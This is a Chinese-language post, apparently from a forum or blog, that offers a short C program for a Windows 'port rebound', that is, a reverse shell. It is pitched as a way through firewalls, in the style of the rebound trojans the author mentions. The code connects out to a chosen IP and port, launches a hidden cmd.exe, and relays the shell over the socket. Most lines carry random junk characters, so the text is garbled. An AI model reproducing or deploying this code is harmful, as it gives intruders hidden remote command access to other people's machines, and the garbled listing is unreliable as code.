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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B\NcCp`5  
-^y1iN'D  
/* ============================== (kdC1,E  
Rebound port in Windows NT ]&/0  
By wind,2006/7 0yKwH\S  
===============================*/ fg< ( bXC  
#include #Xj;f^}/  
#include XZ!cW=bqS  
7-(>"75Q|  
#pragma comment(lib,"wsock32.lib") MQjG<O\  
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void OutputShell(); +6wx58.B&  
SOCKET sClient; TR+Q4Y:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SG1&a:c+.  
es{cn=\ s  
void main(int argc,char **argv) <)=3XEcb  
{ S/KVN(Z  
WSADATA stWsaData; `f2W;@V0  
int nRet; 54;l*}8Hl  
SOCKADDR_IN stSaiClient,stSaiServer; '[ @F%  
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if(argc != 3) <tGI]@Nwk  
{ #I bS  
printf("Useage:\n\rRebound DestIP DestPort\n"); m`[oT\  
return; cYE./1D a  
} C8! 8u?k  
f&+XPd %  
WSAStartup(MAKEWORD(2,2),&stWsaData); k{zs578h2  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0@JilGk1u  
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stSaiClient.sin_family = AF_INET; $(Z]TS$M&  
stSaiClient.sin_port = htons(0); $@5%5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j\%?<2dj=  
*vRNG 3D/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XPGL3[w\V  
{ 0EcC  
printf("Bind Socket Failed!\n"); t$ACQ*O  
return; tCd{G c  
} 5@GD} oAn6  
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stSaiServer.sin_family = AF_INET; yBJ/>SAcG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +e&m#d  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~W]#9&yQ  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A73V6"  
{ GMVC&^  
printf("Connect Error!"); h[Ndtq>3{  
return; 2V#c[%vI  
} d08`42Z69  
OutputShell(); pil0,r $D  
} r\4*\  
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void OutputShell() 7yc9`j}]  
{ V)_H E  
char szBuff[1024]; BnKP7e  
SECURITY_ATTRIBUTES stSecurityAttributes; ]}UeuF\  
OSVERSIONINFO stOsversionInfo; e|2vb GQ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yEMX`  
STARTUPINFO stStartupInfo; U-wq- GT  
char *szShell; M63s(f  
PROCESS_INFORMATION stProcessInformation; b#?ai3E  
unsigned long lBytesRead; *qeic e%E  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); l044c,AW(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _QC?:mv6-  
stSecurityAttributes.lpSecurityDescriptor = 0; XhHel|!g:  
stSecurityAttributes.bInheritHandle = TRUE; Ba"^K d`  
]%cHm4#m3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !mpMa]G3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bQ|#_/?  
M~d+HE   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a2(D!_dZR  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =UI,+P:  
stStartupInfo.wShowWindow = SW_HIDE; }a #b$]Y  
stStartupInfo.hStdInput = hReadPipe; .!7Fe)(x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;PP_3`  
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GetVersionEx(&stOsversionInfo); b@{%qh ,C  
2|T|K?R^  
switch(stOsversionInfo.dwPlatformId) *_2O*{V  
{ GY0XWUlC  
case 1: oP43NN~  
szShell = "command.com"; X\c1q4oB[  
break; PsF- 9&_  
default: @1J51< x  
szShell = "cmd.exe"; z$I[kR%I{  
break; N+C%Z[gt[  
} >Rl0%!  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Et @=Ic^E  
rA1zyZlz  
send(sClient,szMsg,77,0); ^5FJ}MMJf  
while(1) ,Do$`yO+  
{ 2m)kyQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Y1yvI  
if(lBytesRead) $~w@0Yl  
{ 34+)-\xt:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VrnK)za*H  
send(sClient,szBuff,lBytesRead,0); )$9C`d[  
} s&_IWala  
else +[ZMrTW!0C  
{ d @^o/w8  
lBytesRead=recv(sClient,szBuff,1024,0); k vue@  
if(lBytesRead<=0) break; }e/[$!35  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >~^mIu_BH  
} 2heWE  
} _Gs  
c*M)DO`y;h  
return; N$ qNe'b  
}
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